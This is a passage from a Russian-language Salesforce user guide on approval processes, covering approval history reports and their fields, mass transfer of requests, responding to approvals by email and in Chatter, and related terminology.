основным, а объект «Узел экземпляра процесса» является связанным, пользователи
могут создавать отчеты по журналам утверждений посредством разных наборов
полей, позволяющихпросматриватьподробныеархивныесведенияовыполненных
или выполняемых процессах утверждения и их отдельных этапах.

Примеры отчетов по журналам утверждений
Рассмотренныеобразцыотчетовпозволяютполучатьданныежурнала утверждений.
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Рекомендации по использованию отчетов по журналам утверждений
Просмотрите ограничения и особые алгоритмы, применяемые при создании или просмотре отчетов по журналам
утверждений, позволяющих получать подробные архивные сведения о процессах утверждения и этапах.

СМ. ТАКЖЕ:

Создание типа настраиваемого отчета для журнала утверждений

Поля, доступные для отчетов по журналам утверждений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При создании типа настраиваемого отчета, где объект «Экземпляр процесса» является
основным, а объект «Узел экземплярапроцесса» является связанным, пользователимогут
создавать отчеты по журналам утверждений посредством разных наборов полей,
позволяющих просматривать подробные архивные сведения о выполненных или
выполняемых процессах утверждения и их отдельных этапах.

Экземпляр процесса

Экземпляр процесса — это один экземпляр процесса утверждения. Новый экземпляр
процесса создается при каждой отправке записи на утверждение.

ОписаниеПоле

Имя процесса утверждения.Процесс утверждения: имя

Код экземпляра процесса утверждения.Код экземпляра процесса
утверждения

Дата и время завершения или отзыва экземпляра
процесса утверждения.

Если критерии этапа не выполняются, а утверждение
или отклонение записи выполняется автоматически, то

Дата завершения

поля «Дата завершения» и «Дата отправки» содержат
одинаковые значения.

Периодвремени, начинающийсядатойотправкизаписи
на утверждение и заканчивающийся датой завершения
или отзыва процесса утверждения.

Затраченные дни

Затраченные часы

Затраченные минуты

Полноеимяпользователя, участвовавшегов экземпляре
процесса утверждения последним.

Если критерии этапа не выполняются, а утверждение
или отклонение записи выполняется автоматически, то

Последний исполнитель:
полное имя

поля «Последний исполнитель: полное имя» и
«Отправитель: полное имя» содержат одинаковые
значения.

Тип объекта записи, отправленной на утверждение.Тип объекта
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ОписаниеПоле

Имя этапа утверждения, используемого записью для ожидания утверждения
или отклонения.

Имя отложенного этапа

Имя записи, отправленной на утверждение.Имя записи

Статус экземпляра процесса утверждения.Статус

Дата и время отправки записи на утверждение.Дата отправки

Полное имя пользователя, отправившего запись на утверждение.Отправитель: полное имя

Узел экземпляра процесса

Узел экземпляра процесса — это экземпляр этапа утверждения. Новый узел экземпляра процесса создается при каждом
входе записи на этап процесса утверждения. Если запись не соответствует критериям этапа или экземпляр процесса
утверждения выполняется без входа на этап, то узел экземпляра процесса не создается.

ОписаниеПоле

Имя этапа утверждения.Этап: имя

Дата и время завершения или отзыва экземпляра этапа утверждения.Этап: дата завершения

Период времени, начинающийся датой входа записи на этап утверждения и
заканчивающийсядатойзавершенияилиотзываэкземпляраэтапаутверждения.

Затраченные дни этапа

Затраченные часы этапа

Затраченные минуты этапа

Полное имя пользователя, участвовавшего в экземпляре этапа утверждения
последним.

Последний исполнитель этапа: полное
имя

Дата и время входа записи на этап утверждения.Дата начала этапа

Статус экземпляра этапа утверждения.Статус этапа

СМ. ТАКЖЕ:

Отчеты по журналам утверждений

Рекомендации по использованию отчетов по журналам утверждений

Примеры отчетов по журналам утверждений
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Примеры отчетов по журналам утверждений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рассмотренные образцы отчетов позволяют получать данные журнала утверждений.

Пример отчета: утверждения возможностей, отправленные в течение
выбранного диапазона дат

Данный образец отчета возвращает экземпляры процесса утверждения, отправленные
в течение выбранного диапазона дат (1) для объекта «Возможность» (2). Результаты
сортируютсяпостатусу (3), а такжеотображаютпоследнегоисполнителя (4), датуотправки
(5), дату завершения (6), имя записи (7), код экземпляра процесса утверждения (8) и имя
процесса утверждения (9).

Пример отчета: утверждения—затраченное время

Данныйобразецотчета возвращает все экземплярыпроцесса утверждения (1) и группируетрезультатыпоименипроцесса
утверждения (2). Результатыотображаютимя записи (3), код экземплярапроцесса утверждения (4), статус (5), дату отправки
(6), затраченные минуты (7) и дату завершения (8).
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Пример отчета: этапы утверждения—затраченное время

Данныйобразецотчета возвращает все экземплярыпроцесса утверждения (1) и группируетрезультатыпоименипроцесса
утверждения (2) и имени записи (3). Результаты сортируются по имени этапа (4), а также отображают статус этапа (5), дату
начала этапа (6), затраченные минуты этапа (7), дату завершения этапа (8) и код экземпляра процесса утверждения (9).
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Обратите внимание, что предыдущий образец отчета не отображает ответственных за утверждение для каждого этапа и
затраченное время для каждого запроса на утверждение. Чтобыполучить даннуюинформацию, выполните запрос SOQL
путем использования кода экземпляра процесса утверждения из отчета. Ниже приведен образец запроса SOQL,
возвращающего параметры ActorID  (пользователь или очередь, получившая запрос на утверждение) и
ElapsedTimeInHours  (время, прошедшее после отправки запроса на утверждение) для первого отложенного этапа
в отчете.

SELECT ActorId,ElapsedTimeInHours FROM ProcessInstanceWorkitem where processInstanceId =
'04gD0000000LvIV'
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Образец запроса возвращает только один результат. Чтобы просмотреть страницу профиля данного ответственного за
утверждение, дополните основной URL-адрес организации возвращенным значением параметра ActorID
(https://MyCompany.salesforce.com/005D00000015vGGIAY), позволяющим открыть страницу профиля
пользователя.

СМ. ТАКЖЕ:

Отчеты по журналам утверждений
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Рекомендации по использованию отчетов по журналам утверждений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотрите ограничения и особые алгоритмы, применяемые при создании или
просмотре отчетов по журналам утверждений, позволяющих получать подробные
архивные сведения о процессах утверждения и этапах.

Рекомендации по использованию процессов утверждения, завершенных или
отложенных на момент развертывания выпуска Summer'14

Развертывание выпуска Summer'14 инициирует автоматическое заполнение полей
журнала утверждений для завершенных и отложенных процессов утверждения. Тем не
менее, некоторыеполяжурналаутвержденийостаютсянезаполненнымиилизаполняются
только после обработки экземпляра процесса утверждения следующим действием
(например, приутверждении, отклоненииилипереназначениизапросана утверждение)
сразу после развертывания выпуска Summer'14.

Порядок заполнения полейОбъект

Прииспользованииэкземпляровпроцессаутверждения, завершенныхпередразвертыванием
выпуска Summer'14, все поля объекта «Экземпляр процесса» заполняются автоматически,

Экземпляр процесса

кромеполя: «Дата завершения», котороеостаетсянезаполненнымдляэкземпляровпроцесса
утверждения, завершенных до 1 января 2013 года.

При использовании экземпляров процесса утверждения, отложенных во время
развертывания выпуска Summer'14, все поля объекта «Экземпляр процесса» заполняются
автоматически, кроме полей: «Дата завершения» и «Последний исполнитель: полное
имя», которые заполняются только после завершения экземпляра процесса утверждения.

Поля остаются незаполненными для экземпляров процесса утверждения, завершенных
перед развертыванием выпуска Summer'14.

При использовании экземпляров процесса утверждения, отложенных во время
развертываниявыпуска Summer'14, всеполяобъекта «Узелэкземплярапроцесса» заполняются

Узел экземпляра процесса

только после обработки экземпляра процесса утверждения следующим действием сразу
после развертывания выпуска Summer'14.

Дополнительные исключения применяются к данным журнала утверждений, доступным только посредством запросов
SOQL определенныхобъектов.См. объектыProcessInstance, ProcessInstanceNode, ProcessInstanceStepи ProcessInstanceWorkitem
в документе Object Reference for Salesforce and Force.com.

Рекомендации по использованию безопасной среды

Копирование данных журнала утверждений в безопасную среду инициирует перезапись значений некоторых полей,
которые затем не будут соответствовать фактическому журналу утверждений.

Порядок копирования текущей записи экземпляра процесса или узла
экземпляра процесса в безопасную среду

ПолеОбъект

Данное значение перезаписывается датой и временем копирования записи
экземпляра процесса в безопасную среду.

Дата отправкиЭкземпляр
процесса
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Порядок копирования текущей записи экземпляра процесса или узла
экземпляра процесса в безопасную среду

ПолеОбъект

Данное значение перезаписывается именем пользователя, скопировавшего
запись экземпляра процесса в безопасную среду.

Отправитель:
полное имя

Данное значение перезаписывается датой и временем копирования записи узла
экземпляра процесса в безопасную среду.

Дата начала
этапа

Узел экземпляра
процесса

СМ. ТАКЖЕ:

Поля, доступные для отчетов по журналам утверждений

Отчеты по журналам утверждений

Пакетное управление запросами на утверждение

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пакетного управления
запросами на утверждение:
• «Перенос интересов»

И

«Перенос записи»

Выполняйтепакетныйпереносзапросовнаутверждениеотодногопользователядругому
или пакетное удаление запросов на утверждение из процесса утверждения.

Прим.: Прежде чем выполнить перенос запроса на утверждение, убедитесь, что
пользователь, которому он передается, имеет полномочие для чтения записей
запросов на утверждение. Например, пользователь, которому не предоставлен
доступ для чтения к настраиваемому объекту «Расходы», не может просматривать
запросы на утверждение расходов.

1. Введите строку «Пакетный перенос запросов на утверждение» вполе «Быстрый поиск»
в меню «Настройка» и выберите пункт «Пакетный перенос запросов на
утверждение».

2. Введите условия поиска, которым должны соответствовать переносимые запросы
на утверждение.

3. Чтобынайти соответствующие запросына утверждение, нажмите кнопку «Найти».

4. Выберите нужное значение.

• «Пакетное удаление записей из процесса утверждения»: разблокировка и
удалениезаписейизлюбогопроцессаутверждения, отменяющиеихотображение
в списке отложенных запросов на утверждение.

• «Пакетный перенос невыполненных запросов на утверждение новому
пользователю»: выбор и назначение пользователя в качестве ответственного за
утверждение для всех выбранных запросов на утверждение.

5. Принеобходимостивведителюбыекомментарии, которыедолжныбытьсохраненывместесзапросаминаутверждение.
Введенные комментарии отображаются в связанном списке «Журнал утверждений» при условии добавления
администратором поля «Комментарии».

6. В зависимости от выбранного ранее параметра, установитефлажкинапротив всех запросов на утверждение, которые
должны быть перенесены или удалены.
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7. В зависимости от выбранного ранее параметра, нажмите кнопку «Перенос» или «Удалить».

СМ. ТАКЖЕ:

Утверждения

Терминология по процессам утверждения

Работа с запросами на утверждение

Отклик на запрос об утверждении
Администратор может настроить процесс утверждения, который позволяет вам и другим пользователям предоставлять
записи на утверждение, что должно привести к созданию запросов на утверждение. При получении запроса на утверждение
на него можно ответить, утвердив его, отклонив или переназначив. В зависимости от того, какую версию Salesforce вы
используете, вам доступны некоторые параметры.

Некоторые записи могут проходить несколько уровней утверждения.

Прим.: Утверждение, отклонение, переназначениеилиотзыв запросана утверждениедоступентолькоприналичии
полномочия «Чтение» для записи.

Отклики на запросы на утверждение в Lightning Experience

Приполучениизапросана утверждениенанегоможноответить, утвердив его, отклонивилипереназначив. В Lightning
Experience вы можете это сделать в уведомлении приложения, уведомлении электронной почты, в записи или в своем
потоке.

Отклики на запросы на утверждение в Salesforce Classic

Приполучениизапросана утверждениенанегоможноответить, утвердив его, отклонивилипереназначив. В Salesforce
Classic выможете это сделать на главной странице через уведомление электроннойпочты, используя запись или свой
поток.

Отклики на запросы на утверждение в Salesforce1

Приполучениизапросана утверждениенанегоможноответить, утвердивего, отклонивилипереназначив. В Salesforce1
вы можете это сделать из уведомления приложения, в push-уведомлении, в записи или в потоке.
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Отклики на запросы на утверждение в Lightning Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для утверждения,
отклонения или
переназначения запросов на
утверждение:
• Полномочия

определяются
параметрами процесса
утверждения

Для утверждения и
отклонения запросов на
утверждение посредством
эл. почты:
• «API включен»

Приполучениизапросанаутверждениенанегоможноответить, утвердивего, отклонив
или переназначив. В Lightning Experience вы можете это сделать в уведомлении
приложения, уведомлении электронной почты, в записи или в своем потоке.

Прим.: Утверждение, отклонение, переназначение или отзыв запроса на
утверждение доступен только при наличии полномочия «Чтение» для записи.

В уведомлении
Если организация использует уведомления, то пользователь получает уведомление
при каждомполучении электронного запроса на утверждение. Данная возможность
определяется полем «Принимать сообщения эл. почты, содержащие запросы
на утверждение», доступнымнастраницеличныхпараметров. Откройтеуведомление
и утвердите или отклоните запрос.

Используйте раздел электронной почты для выполнения следующих задач
Возможностьполучения запросовна утверждениев виде электронныхуведомлений
определяется полем «Принимать сообщения эл. почты, содержащие запросы
на утверждение», доступным на странице личных параметров. Щелкните ссылку в
сообщении эл. почты ищелкнитеУтвердить илиОтклонить.

При поддержке функции электронного утверждения вы можете также ввести слово
«утвердить», «отклонить», «утверждено», «отклонено», «да» или «нет» впервуюстроку
ответного сообщения эл. почты. При необходимости добавьте комментарии во
вторую строку.

Прим.:

• Длина комментария не должна превышать 4 000 символов. В китайском,
японскомикорейскомязыкахданноеограничениесоставляет 1 333 символа.

• Если системе не удается распознать слово, указанное в ответе, то
пользователю отправляется электронное уведомление об ошибке. Чтобы
отправить другой ответ, повторно введите нужное слово в исходном
электронномуведомлении. Ответынаэлектронноеуведомлениеобошибке
не обрабатываются.

Используйте раздел Запись для выполнения следующих действий
Если ваш администратор добавил связанный список «Журнал утверждений» к записи, поданной для утверждения,
используйте связанный список для утверждения или отклонения запроса.

Используйте свой поток для выполнения следующих действий
Если в организации включенафункция «Утверждения в Chatter», то пользовательможет настроить параметры Chatter
дляполучения запросовна утверждениев виде сообщенийлентыChatterиобычныхсообщенийэл. почты.Щелкните
имя записи в сообщении. После этого перейдите в связанный списокЖурнал утверждений после чего щелкните
«Утвердить» или «Отклонить».

Прим.: Сообщения, содержащие запросы на утверждение, доступны только пользователям, имеющим доступ
к записи утверждения. Комментарии к сообщениям об утверждении не сохраняются в запись утверждения.
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Отклики на запросы на утверждение в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для утверждения,
отклонения или
переназначения запросов на
утверждение:
• Полномочия

определяются
параметрами процесса
утверждения

Для утверждения и
отклонения запросов на
утверждение посредством
эл. почты:
• «API включен»

Приполучениизапросанаутверждениенанегоможноответить, утвердивего, отклонив
или переназначив. В Salesforce Classic вы можете это сделать на главной странице через
уведомление электронной почты, используя запись или свой поток.

Прим.: Утверждение, отклонение, переназначение или отзыв запроса на
утверждение доступен только при наличии полномочия «Чтение» для записи.

На главной странице выполните следующие действия
Используйте компонент главной страницы «Компоненты для утверждения», чтобы
ознакомиться со списком запросов на утверждения, на которые требуется ответить.

Есливыиспользуете Aloha Experience иадминистратордобавилкомпонент «Элементы
для утверждения» на главную страницу, щелкните вкладку «Начальная страница»,
чтобы увидеть все запросы на утверждение в очереди.

Используйте раздел электронной почты для выполнения следующих задач
Возможностьполучения запросовна утверждениев виде электронныхуведомлений
определяется полем «Принимать сообщения эл. почты, содержащие запросы
на утверждение», доступным на странице личных параметров. Щелкните ссылку в
сообщении эл. почты ищелкнитеУтвердить илиОтклонить.

При поддержке функции электронного утверждения вы можете также ввести слово
«утвердить», «отклонить», «утверждено», «отклонено», «да» или «нет» впервуюстроку
ответного сообщения эл. почты. При необходимости добавьте комментарии во
вторую строку.

Прим.:

• Длина комментария не должна превышать 4 000 символов. В китайском,
японскомикорейскомязыкахданноеограничениесоставляет 1 333 символа.

• Если системе не удается распознать слово, указанное в ответе, то
пользователю отправляется электронное уведомление об ошибке. Чтобы
отправить другой ответ, повторно введите нужное слово в исходном
электронномуведомлении. Ответынаэлектронноеуведомлениеобошибке
не обрабатываются.

Используйте раздел Запись для выполнения следующих действий
Если ваш администратор добавил связанный список «Журнал утверждений» к записи, поданной для утверждения,
используйте связанный список для утверждения или отклонения запроса.

Используйте свой поток для выполнения следующих действий
Если в организации включенафункция «Утверждения в Chatter», то пользовательможет настроить параметры Chatter
дляполучениязапросовнаутверждениеввидесообщенийлентыChatterиобычныхсообщенийэл. почты. Всообщении
щелкнитеУтвердить илиОтклонить.

Прим.: Сообщения, содержащие запросы на утверждение, доступны только пользователям, имеющим доступ
к записи утверждения. Комментарии к сообщениям об утверждении не сохраняются в запись утверждения.

СМ. ТАКЖЕ:

Утверждения

Пакетное управление запросами на утверждение
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Отклики на запросы на утверждение в Salesforce1

ВЕРСИИ

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для утверждения,
отклонения или
переназначения запросов на
утверждение:
• Полномочия

определяются
параметрами процесса
утверждения

Приполучениизапросанаутверждениенанегоможноответить, утвердивего, отклонив
или переназначив. В Salesforce1 вы можете это сделать из уведомления приложения, в
push-уведомлении, в записи или в потоке.

Прим.: Утверждение, отклонение, переназначение или отзыв запроса на
утверждение доступен только при наличии полномочия «Чтение» для записи.

В уведомлении
Если организация использует уведомления, то пользователь получает уведомление
при каждомполучении электронного запроса на утверждение. Данная возможность
определяется полем «Принимать сообщения эл. почты, содержащие запросы
на утверждение», доступнымнастраницеличныхпараметров. Откройтеуведомление
и утвердите или отклоните запрос.

Используйте раздел Запись для выполнения следующих действий
Есливашадминистратордобавилсвязанныйсписок «Журналутверждений» кзаписи,
поданной для утверждения, используйте связанный список для утверждения или
отклонения запроса.

Используйте свой поток для выполнения следующих действий
Если в организации включена функция «Утверждения в Chatter», то пользователь
может настроить параметры Chatter для получения запросов на утверждение в виде
сообщенийлентыChatterиобычных сообщенийэл. почты. Всообщениикоснитесь
Утвердить илиОтклонить.

Прим.: Сообщения, содержащие запросы на утверждение, доступны только пользователям, имеющим доступ
к записи утверждения. Комментарии к сообщениям об утверждении не сохраняются в запись утверждения.

Включение или отключение сообщений, содержащих запросы на утверждение

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра записи:
• «Чтение» для записи

Если организация поддерживает функцию «Утверждения в Chatter», то пользователи
могут получать запросы на утверждение в виде сообщений Chatter.

1. Введите строку «Мои ленты» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Мои ленты».

2. Поставьтеилиснимитефлажоквполепараметра «Получать запросынаутверждение
в виде сообщений».

По умолчанию поддержка сообщений, содержащих запросы на утверждение,
включается автоматически при включениифункции «Утверждения в Chatter».

3. Сохраните внесенные изменения.

Прим.: Сообщения, содержащие запросы на утверждение, доступны только
пользователям, имеющим доступ к записи утверждения. Комментарии к
сообщениям об утверждении не сохраняются в запись утверждения.

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce
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Элементы для утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
связанного списка
«Элементы для
утверждения»:
• Полномочия

определяются
параметрами процесса
утверждения

Связанный список «Элементы для утверждения» отслеживает открытые запросы на
утверждение, назначенныепользователю. Данныйсвязанныйсписокможетотображаться
наначальнойстранице, еслиадминистратороморганизациисозданпроцессутверждения.

• Чтобы просмотреть сведения о запросе, щелкните нужный запрос на утверждение.

• Чтобы назначить запрос на утверждение другому пользователю, щелкните ссылку
«Переназначить» напротив нужного элемента.

• Чтобыоткрытьстраницусведенийозапросеиутвердитьилиотклонитьотложенный
запрос, щелкните ссылку «Утвердить/отклонить» напротив нужного элемента.

Прим.: Утверждение, отклонение, переназначение или отзыв запроса на
утверждение доступен только при наличии полномочия «Чтение» для записи.

• Чтобы управлять всеми назначенными запросами на утверждение, нажмите кнопку
«Управлять всем». Чтобы выбрать запросы на утверждение, установите
соответствующиефлажки. Чтобы выбрать все отображаемые элементы столбца,
установите флажок в заголовке нужного столбца.

– Чтобы назначить выбранные запросы на утверждение другому пользователю,
щелкните «Переназначить», выберите нужного пользователя, введите любые
комментарии и нажмите кнопку «Сохранить».

– Чтобыоткрытьстраницусведенийозапросе, щелкните«Утвердить/отклонить».
Чтобыодновременноутвердитьилиотклонитьвсевыбранныезапросы, щелкните
«Утвердить» или «Отклонить».

Прим.: Утверждение, отклонение, переназначение или отзыв запроса на
утверждение доступен только при наличии полномочия «Чтение» для записи.

СМ. ТАКЖЕ:

Отклики на запросы на утверждение в Salesforce Classic

Пакетное управление запросами на утверждение
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Связанный список «Журнал утверждений»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
связанного списка «Журнал
утверждений»:
• Полномочия

определяются
параметрами процесса
утверждения

Связанныйсписок «Журналутверждений» отслеживает записьнапротяжениипроцесса
утверждения. Данный связанный список отображается на странице сведений о записи
при наличии процесса утверждения для соответствующего объекта.

• Чтобыотправить записьна утверждение, щелкните «Отправитьнаутверждение».

Система Salesforce запускает процесс утверждения при наличии процессов
утверждения, примененных к записи. Данный параметр недоступен после отправки
записи на утверждение. В зависимости от процесса утверждения, пользователю
может быть предложен выбор следующего ответственного за утверждение.

• Чтобыудалить записьизпроцесса утверждения, нажмитекнопку «Отозватьзапрос
на утверждение».

Данная кнопка доступна только в том случае, если запись находится в процессе
утверждения, который позволяет отправителям отзывать запросы на утверждение.
При нажатии кнопки «Отозвать запрос на утверждение» отложенный запрос на
утверждение записи отменяется и выполняются действия отзыва. Дополнительную
информацию см. в разделе «Действия отзыва» на странице 4855.

• Чтобы назначить запрос на утверждение другому пользователю, щелкните ссылку
«Переназначить» напротив нужного элемента.

• Чтобыоткрытьстраницусведенийозапросеиутвердитьилиотклонитьотложенный
запрос, щелкните ссылку «Утвердить/отклонить» напротив нужного элемента.

Прим.: Утверждение, отклонение, переназначение или отзыв запроса на
утверждение доступен только при наличии полномочия «Чтение» для записи.

В зависимости от параметров, заданных администратором, связанный список «Журнал утверждений» может содержать
указанные ниже значения поля «Статус».

ОпределениеСтатус

Запись отправлена на утверждение.Отправлено

Запись отправлена на утверждение и ожидает утверждения или отклонения.Ожидание

Запись утверждена.Утверждено

Запись отклонена.Отклонено

Записьотправленана утверждение, ноназначенадругомуответственному за утверждение.Переназначено

Запись отправлена на утверждение, но отозвана из процесса утверждения.Отозвано
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Прежде чем отправить запись на утверждение, убедитесь, что запись соответствует критериям активного процесса
утверждения. Чтобы получить сведения об атрибутах, необходимых для добавления записи в активный процесс
утверждения, обратитесь к администратору организации.

СМ. ТАКЖЕ:

Отклики на запросы на утверждение в Salesforce Classic

Утверждения

Отчеты по журналам утверждений

Изменение настроек пользователя для утверждений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Установите ваши предпочтения для получения запроса о сообщениях электронной
почты, в том числе возможности отказаться от их получения.

1. В разделе личных параметров войдите в раздел «Параметры ответственного» в поле
Быстрый поиск, затемвыберитепункт«Параметрыответственно». Нетрезультатов?
Введите «Личные сведения» в поле «Быстрый поиск» и выберите пункт «Личные
сведения».

2. При необходимости заполните поле «Делегированный ответственный за
утверждение».

Прим.: Группа или очередь не может быть назначена в качестве
делегированного ответственного за утверждение.

3. При необходимости заполните поле «Менеджер».

4. Настройте параметры получения сообщений эл. почты, содержащих запросы на утверждение. Кроме того, данный
параметр определяет возможность получения уведомлений о запросах на утверждение в приложении Salesforce1.
Доступные значения:

• Если пользователь является ответственным за утверждение или делегированным ответственным за утверждение

• Если пользователь является только ответственным за утверждение

• Если пользователь является только делегированным ответственным за утверждение

• «Никогда»: привыбореданного значенияпользовательнебудетполучать уведомленияо запросахна утверждение
в приложении Salesforce1 или по электронной почте, даже в том случае, если организация использует функцию
электронного утверждения. Темнеменее в зависимостиотпараметров электроннойпочтыочереди, настроенных
администратором, пользователь может получать сообщения электронной почты, содержащие запросы на
утверждение, из очереди.

5. Сохраните внесенные изменения.

При отправке сообщения электронной почты с запросом на утверждение назначенный ответственный человек и
выделенный ответственный человек оба получат уведомление электронной почты с запросом на утверждение.
Делегированные ответственные за утверждения не могут переназначать запросы на утверждение; они могут только
утверждать или отклонять запросы.

4887

УтвержденияРасширение Salesforce посредством интерактивных
инструментов



Прим.: Если запрос на утверждение назначен очереди, то соответствующее электронное уведомление также
отправляется делегированному ответственному за утверждение для каждого участника очереди.

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce

Электронные утверждения. Вопросы и ответы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional, Enterprise,
Performance, Unlimited и
Developer

Что такое электронное утверждение?

Можнолииспользоватьмобильноеустройство (например, BlackBerry) дляутверждения
и отклонения запросов?

При попытке ответа отображается следующее сообщение об ошибке: «Сообщение
об утверждении бизнес-правила не обработано». Что делать?

Отправленное электронное утверждение не было доставлено. Что делать?

Почему не приходят электронные запросы на утверждение?

Может ли делегированный ответственный за утверждение отвечать на
соответствующие электронные запросы?

Можно ли отвечать на электронные запросы на языках, отличных от английского?

Что делать, если запрос уже утвержден или отклонен другим пользователем?

Что такое электронное утверждение?

При включениифункции электронного утверждения пользователи могут утверждать или отклонять запросы на
утверждение путем отправки ответа на электронное уведомление.

При обработке запроса на утверждение первая строка текста сообщения может содержать одно из указанных ниже слов.

• утвердить

• утверждено

• да

• отклонить

• отклонено

• нет

Точки и восклицательные знаки могут использоваться в конце слова. При необходимости добавьте комментарии во
вторуюстроку сообщения. Ссылка, добавленнаяв сообщениеэл. почты, позволяетпользователямпереходитьна страницу
утверждения. Даннаяфункцияособеннополезнаорганизациям, пользователикоторыхпринимаютзапросынаутверждение
посредством мобильного устройства.

Можно ли использовать мобильное устройство (например, BlackBerry) для утверждения и отклонения
запросов?

Да. Стандартный клиент эл. почты для мобильных устройств позволяет отвечать на запросы путем отправки слова
«утвердить», «утверждено», «да», «отклонить», «отклонено» или «нет» в первой строке сообщения. При необходимости
добавьте комментарии во вторую строку.
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При попытке ответа отображается следующее сообщение об ошибке: «Сообщение об утверждении
бизнес-правила не обработано». Что делать?

Убедитесь, что ответ отправляется посредством адреса эл. почты, использованного для отправки электронного запроса
на утверждение.

Отправленное электронное утверждение не было доставлено. Что делать?

Ответственным за утверждение должно быть предоставлено полномочие «API включен», позволяющее утверждать или
отклонять запросы на утверждение посредством эл. почты.Обратитесь к администратору.

Почему не приходят электронные запросы на утверждение?

Ниже перечислены причины, которые могут препятствовать получению электронных запросов на утверждение.

• Настройки пользователя для получения сообщений эл. почты, содержащих запросы на утверждение, могут быть
заданы некорректно. Подробнее см. Изменение своих параметров утверждения пользователя на странице 4887.

• Время доставки эл. почты может зависеть от подключения или интернет-провайдера.

• Сообщенияэл. почтыблокируютсяфильтрамиспама, заданныминапочтовомсервере. Обратитесь к администратору
эл. почты, который может просмотреть журналы всех входящих сообщений эл. почты и определить их статус
(доставлено, отклонено или помечено как спам).

• Адрес эл. почты Salesforce должен быть добавлен администратором эл. почты в список разрешенных адресов.

Может ли делегированныйответственный за утверждение отвечать на соответствующие электронные запросы?

Делегированные ответственные за утверждения могут утверждать или отклонять электронные запросы путем отправки
ответа на сообщение эл. почты.

Первая строка текста сообщения может содержать одно из указанных ниже слов.

• утвердить

• утверждено

• да

• отклонить

• отклонено

• no

Точки и восклицательные знаки могут использоваться в конце слова. При необходимости добавьте комментарии во
вторуюстроку сообщения. Ссылка, добавленнаяв сообщениеэл. почты, позволяетпользователямпереходитьна страницу
утверждения. Даннаяфункцияособеннополезнаорганизациям, пользователикоторыхпринимаютзапросынаутверждение
посредством мобильного устройства.

Можно ли отвечать на электронные запросы на языках, отличных от английского?

Да. Функция электронного утверждения работает на всех языках, поддерживаемых системой Salesforce. Введенный ответ
проверяется посредством языкового словаря текущего пользователя. При отсутствии совпадений введенный ответ
проверяется посредством всех других языковых словарей.
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Что делать, если запрос уже утвержден или отклонен другим пользователем?

Электронный запрос на утверждение может быть обработан только один раз. Запрос на утверждение, обработанный
другим пользователем, возвращает ошибку.

Терминология по процессам утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены термины, используемые в системе Salesforce для процессов
утверждения.

Действия утверждения
Действие утверждения — это действие, выполняемое в результате процесса
утверждения. Существует четыре типа действий утверждения.

ОписаниеТип

Назначение задачи выбранному пользователю. При
необходимости заполните следующие поля задачи: «Тема»,
«Статус», «Приоритет» и «Крайний срок».

Задача

Использование выбранногошаблона эл. почтыдляотправки
сообщения эл. почты выбранному получателю.

Электронное
предупреждение

Изменение значения выбранного поля. При необходимости
укажите значениеилисоздайтеформулудлянового значения.

Обновление поля

Отправка сообщения выбранной конечной точке. При
необходимости укажите имя пользователя и дату, которые
должны быть добавлены в сообщение.

Исходящее
сообщение

Этапы утверждения, исходная отправка, окончательные утверждения, окончательные отклонения и отзывы могут
инициироватьвыполнениедействийутверждения. Процессыутвержденияибизнес-правилаиспользуютодинаковые
действия.

Процесс утверждения
Процесс утверждения — это автоматическийпроцесс, которыйможетиспользоватьсяорганизациейдля утверждения
записейSalesforce. Процессутвержденияопределяетэтапы, необходимыедляутверждениязаписи, а такжеответственных
за утверждение на каждом этапе. Этап может применяться ко всем записям процесса или только к записям,
соответствующим определенным критериям, заданным администратором. Процесс утверждения также определяет
действия, которые должны быть выполнены при утверждении, отклонении, отзыве или первоначальной отправке
записи на утверждение.

Запрос на утверждение
Запрос на утверждение — это сообщение эл. почты, уведомление Salesforce1 или сообщение Chatter, уведомляющее
получателя об отправке записи на утверждение и назначении ему утверждения.

Этапы утверждения
